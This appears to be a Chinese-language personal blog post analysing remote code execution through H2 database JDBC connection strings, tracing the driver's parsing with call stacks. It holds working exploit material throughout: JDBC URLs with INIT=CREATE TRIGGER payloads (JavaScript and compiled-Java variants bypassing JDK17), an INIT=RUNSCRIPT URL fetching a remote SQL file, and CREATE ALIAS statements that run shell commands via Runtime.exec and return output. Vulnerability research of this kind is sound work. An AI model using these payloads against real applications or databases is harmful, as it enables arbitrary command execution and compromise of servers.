w0s1np

w0s1np

记录学习和思考 快就是慢、慢就是快 静下心来学习
github

JDBC H2 Attack

JDBC H2 Attack#

H2#

$$ 在 h2 中代表设置函数

image

eval 执行变异好的 var3 名称的脚本

调用栈:

loadFromSource:102, TriggerObject (org.h2.schema)
load:82, TriggerObject (org.h2.schema)
setTriggerAction:144, TriggerObject (org.h2.schema)
setTriggerSource:137, TriggerObject (org.h2.schema)
update:117, CreateTrigger (org.h2.command.ddl)
update:198, CommandContainer (org.h2.command)
executeUpdate:251, Command (org.h2.command)
openSession:243, Engine (org.h2.engine)
createSessionAndValidate:171, Engine (org.h2.engine)
createSession:166, Engine (org.h2.engine)
createSession:29, Engine (org.h2.engine)
connectEmbeddedOrServer:340, SessionRemote (org.h2.engine)
<init>:173, JdbcConnection (org.h2.jdbc)
<init>:152, JdbcConnection (org.h2.jdbc)
connect:69, Driver (org.h2)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:8, H2

0x01 TRIGGER RCE#

javascript#

在 JDK15 中 JavaScript /Nashorn​引擎被彻底移除 (也就是jdk15​以上用不了//javascript​这种方式 rce,jsEngine会为null​然后空指针报错)

环境

jdk8u20

<dependency>
      <groupId>com.h2database</groupId>
      <artifactId>h2</artifactId>
      <version>1.4.200</version>
</dependency>
import java.sql.DriverManager;

public class H2 {
    public static void main(String[] args) throws Exception {
        Class.forName("org.h2.Driver");
        String simplexp2 ="jdbc:h2:mem:test;init=CREATE TRIGGER TRIG_JS AFTER INSERT ON INFORMATION_SCHEMA.TABLES AS '//javascript\n" +
                "Java.type(\"java.lang.Runtime\").getRuntime().exec(\"open -a Calculator\")'";
        java.sql.Connection conn = DriverManager.getConnection(simplexp2);
    }
}

H2 解析流程#

    public JdbcConnection(String var1, Properties var2) throws SQLException {
        this(new ConnectionInfo(var1, var2), true);
    }

先进入new ConnectionInfo(var1, var2)​, 查看如何设置一些连接信息的

image

进入readSettingsFromURL

image

回去

image

name 为 url 中后半段值,然后会解析 name 值,

image

tcp:​和ssl:​会开启远程remote=true​, 后面一处remote​的判断会进行远程连接

image

mem: 表示使用内存模式,数据库存储在内存中。test: 连接数据库名称。

因为 poc 设置的是mem:​, 会让persistent = false;​, 这里也是有用的,因为后面存在调用getName()​,

image

如果persistent != false;​会对 name 进行检测,而且会刚好为 true, 然后抛错

它会检查 name​ 是否包含相对路径的标志(如 ./​、.\\​、:/​、:\\​ 等),并且 SysProperties.IMPLICIT_RELATIVE_PATH​ 是否为 false​。如果 name​ 不是绝对路径且不包含这些相对路径标志,则会抛出一个异常。

然后就回到new ConnectionInfo(var1, var2)​, 后面就只有一个convertPasswords​处理和转换密码,但这里没设置,没啥操作,到此解析连接信息部分结束

init#

image

获取到连接信息之后才开始连接的过程

image

反射加载 H2 数据库的引擎类,然后通过引擎类创建会话

image

调用 INSTANCE.createSessionAndValidate(ci)​方法来创建和验证会话,然后再进入 openSession(ci);

image

去除连接信息中的IFEXISTS(是否存在)、FORBID_CREATION(禁止连接)、IGNORE_UNKNOWN_SETTINGS、CIPHER(连接密码)、INIT​, 然后输入部分信息调用openSession​尝试打开会话

image

在另一个openSession​里面获取了DATABASES​名,并判断是否存在和forbidCreation​是否为 true, 如果都不满足就创建该数据库,后面也创建了 user 和 password, 并把mem:test​作为刚才创建数据库的键值,然后返回到原始的openSession​方法

如果init​变量不为空,则尝试执行初始化命令。

parseCreateTrigger:6655, Parser (org.h2.command)
parseCreate:6231, Parser (org.h2.command)
parsePrepared:903, Parser (org.h2.command)
parse:843, Parser (org.h2.command)
parse:815, Parser (org.h2.command)
prepareCommand:738, Parser (org.h2.command)
prepareLocal:657, Session (org.h2.engine)
prepareCommand:595, Session (org.h2.engine)
openSession:241, Engine (org.h2.engine)

image

初始化命令完成

image

然后来到TriggerObject#loadFromSource​, 调用执行

image

image

该函数是从源代码加载触发器对象,首先获取数据库的编译器实例,然后构建触发器的完整类名,即org.h2.dynamic.trigger.TRIG_JS​, setSource​将触发器的源代码设置为指定的类名,再检查触发器源代码是否为 JavaScript 源代码,如果是 JavaScript 源代码,编译并执行脚本。

然后先进入getCompiledScript()

image

这里 JDK15 中 JavaScript /Nashorn​引擎被彻底移除 (也就是 jdk15 以上用不了//javascript​这种方式 rce, jsEngine会为null​然后空指针报错)

再看一下是如何获取到 js 引擎的,

image

"nashorn", "Nashorn", "js", "JS", "JavaScript", "javascript", "ECMAScript", "ecmascript"

image

然后names​和我们传入的name​进行匹对,匹配到返回初始化的engine

但是这里需要注意,javascript 在前面也是有一个判断的:

image

小结#

这个攻击方式主要是靠java Trigger​(Java 触发器), 即执行后端 Java 代码逻辑的容器来 rce, init 的命令被读取了部分之后,将其当做Trigger​的Trigger源代码​, 然后使用对应引擎执行该源代码

编写 poc 主要看解析 sql 语句的过程

0x02 绕过 //javascript#

尝试注册引擎 (失败)#

因为 JDK15 之后用不了 javascript 了

image

上图是在 jdk17 获取 jsEngine 时,因为获取引擎为 null, 导致后续报错,因为在associations​中没有找到注册的引擎,engineSpis​集合中没有发现的引擎

image

然后我找到了 jdk17 一个可以注册associations​的地方

image

但是需要看之前的 factory 是什么,然后查看 jdk8 使用的 factory 为NashornScriptEngineFactory​, 同时 spis 就是通过 get 其 name 来获取的

image

image

                            ScriptEngine engine = spi.getScriptEngine();
                            engine.setBindings(getBindings(), ScriptContext.GLOBAL_SCOPE);
                            return engine;

查看 jdk17 有哪些实现 factory 接口的类,可惜没有

image

主要是 jdk17 没有NashornScriptEngineFactory​和NashornScriptEngine​, 而且原始代码直接 new 了ScriptEngineManager​就去找引擎了,根本没有其他多的操作,这个流程你是不能控制的

控制生成 Trigger 代码#

import java.sql.DriverManager;

public class H2_Bypass {
    public static void main(String[] args) throws Exception {
        Class.forName("org.h2.Driver");
        String simplexp = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
                "INFORMATION_SCHEMA.TABLES AS $$ void Unam4exp() throws Exception{ Runtime.getRuntime().exec(\"open -a calculator\")\\;}$$";
        java.sql.Connection conn = DriverManager.getConnection(simplexp);
    }
}

还是先查看解析 command 处

调用栈

parseCreateTrigger:6780, Parser (org.h2.command)
parseCreate:6355, Parser (org.h2.command)
parsePrepared:645, Parser (org.h2.command)
parse:581, Parser (org.h2.command)
parse:556, Parser (org.h2.command)
prepareCommand:484, Parser (org.h2.command)
prepareLocal:645, SessionLocal (org.h2.engine)
openSession:279, Engine (org.h2.engine)
createSession:201, Engine (org.h2.engine)
connectEmbeddedOrServer:344, SessionRemote (org.h2.engine)
<init>:124, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:252, DriverManager (java.sql)
main:8, H2_Bypass

image

image

image

image

image

image

刚好与 poc 一一对应,然后再到最后触发处

image

image

fullClassName​和triggerSource​被装入到 compilter 中,在跟进getClass(className);

public Method getMethod(String className) throws ClassNotFoundException {
        Class<?> clazz = getClass(className);
        Method[] methods = clazz.getDeclaredMethods();
    ...

跟进getClass​, 然后直接到classLoader.loadClass(packageAndClassName);

image

image

通过getCompleteSourceCode()补全​完整的 class 文件的代码​, 包括package、className、sourcecode(poc中)

image

然后通过javaxToolsJavac​去加载那个 class, 然后 put 到一个 map 中,并返回​这个class对象

上面的调用栈:

findClass:151, SourceCompiler$1 (org.h2.util)
loadClass:592, ClassLoader (java.lang)
loadClass:525, ClassLoader (java.lang)
getClass:179, SourceCompiler (org.h2.util)
getMethod:244, SourceCompiler (org.h2.util)
loadFromSource:109, TriggerObject (org.h2.schema)
load:87, TriggerObject (org.h2.schema)

image

最后再调用invoke​触发恶意方法

0x03 INIT RunScript RCE#

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'

poc.sql

DROP ALIAS IF EXISTS shell;
CREATE ALIAS shell AS $$void shell(String s) throws Exception {
    java.lang.Runtime.getRuntime().exec(s);
}$$;
SELECT shell('open -a calculator');

调用栈

execute:93, RunScriptCommand (org.h2.command.dml)
update:71, RunScriptCommand (org.h2.command.dml)
update:139, CommandContainer (org.h2.command)
executeUpdate:304, Command (org.h2.command)
executeUpdate:248, Command (org.h2.command)
openSession:280, Engine (org.h2.engine)
createSession:201, Engine (org.h2.engine)
connectEmbeddedOrServer:344, SessionRemote (org.h2.engine)
<init>:124, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:252, DriverManager (java.sql)
main:7, H2_3

image

image

通过 while 循环执行每一条 sql 语句,一次执行一条

$$ 逻辑#

查看如何解析得到command​的,调用栈

initialize:286, ParserBase (org.h2.command)
parse:552, Parser (org.h2.command)
prepareCommand:484, Parser (org.h2.command)
prepareLocal:645, SessionLocal (org.h2.engine)
openSession:279, Engine (org.h2.engine)
createSession:201, Engine (org.h2.engine)
connectEmbeddedOrServer:344, SessionRemote (org.h2.engine)
<init>:124, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:252, DriverManager (java.sql)
main:7, H2_3

初始化

image

进入Tokenizer.tokenize

image

这就是解析 JDBC 字符串的关键了,会循环地去匹配字符开头:比如我们字符串为RUNSCRIPT FROM 'http://127.0.0.1:8080/poc.sql'​,开头 R 进入 case 调用 readR

image

readR 先调用 findIdentifierEnd 去查找 keyword 关键字,这里已经找到 RSCRIPT, 不过 RIGHT EOW ROWNUM 需要优先依次进行匹配,未匹配到最后调用 r eadIdentifierOrKeyword。这里就完成了提取 RUNSCRIPT

image

接着空格略过

image

image

From 关键字

当遇到单引号时会把里面的字符提出来,得到 tokens 如下:

image

查看$$​逻辑

image

其中sql.substring(stringStart, stringEnd)​就是我们定义的函数

image

绕过 $#

上面已经看到了 $ 是通过new Token.CharacterStringToken(i, sql.substring(stringStart, stringEnd), false);​添加的,搜索CharacterStringToken

image

可以发现在readCharacterString​也存在,而在case '\''​存在调用

image

所以把 poc.sql 中的 $$ 换成单引号也可以,所以 0x02 中也可以切换

poc 需要注意的问题#

如果我们正常些危险函数,是发现不能直接 rce 的,为什么作者在后面还添加了一个转译符呢,

String simplexp2 ="jdbc:h2:mem:test;init=CREATE TRIGGER TRIG_JS AFTER INSERT ON INFORMATION_SCHEMA.TABLES AS ' void w0s1np() throws Exception{ Runtime.getRuntime().exec(\"open -a Calculator\")\\;}'";

image-20250328213424634

可以看到传入 sql 的时候,多的那个转译符号已经没了,往前追溯

image-20250328213432945

此时 ci 中的 originalURL 还是 jdbc:h2:mem;init=CREATE TRIGGER TRIG_JS AFTER INSERT ON INFORMATION_SCHEMA.TABLES AS ' void w0s1np() throws Exception{ Runtime.getRuntime().exec("open -a Calculator");}'

image-20250328213442625

如果不加转译符号呢

readSettingsFromURL:325, ConnectionInfo (org.h2.engine)
<init>:97, ConnectionInfo (org.h2.engine)
<init>:115, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:252, DriverManager (java.sql)
main:14, H2_1

image-20250328213454191

因为以;为分割,导致原始 poc 中的危险函数被分为了两部分

添加两个转译符号即可

0x04 H2 数据库利用 ALIAS#

下载 jar, 我下的是最新版本的,要用 jdk17 启动,然后直接 Connect, 就有一个在线 h2 数据库了

/Library/Java/JavaVirtualMachines/jdk-17.jdk/Contents/Home/bin/java -cp h2-2.3.232.jar org.h2.tools.Server -web -webAllowOthers -ifNotExists
Web Console server running at http://192.168.1.148:8082 (others can connect)

回显#

DROP ALIAS IF EXISTS SHELLEXEC ;
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";  }$$;

//调用SHELLEXEC执行命令
CALL SHELLEXEC('whoami');
CALL SHELLEXEC('ifconfig');

image

0x05 参考#

https://xz.aliyun.com/news/15960?time__1311=eqUxnD0Gi%3DP4uDBqPdKGQGCYde0KqNDCAKeD

https://unam4.github.io/2024/11/12/h2%E6%95%B0%E6%8D%AE%E5%BA%93%E5%9C%A8jdk17%E4%B8%8B%E7%9A%84rce%E6%8E%A2%E7%B4%A2/#%E5%88%86%E6%9E%90

zjj

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。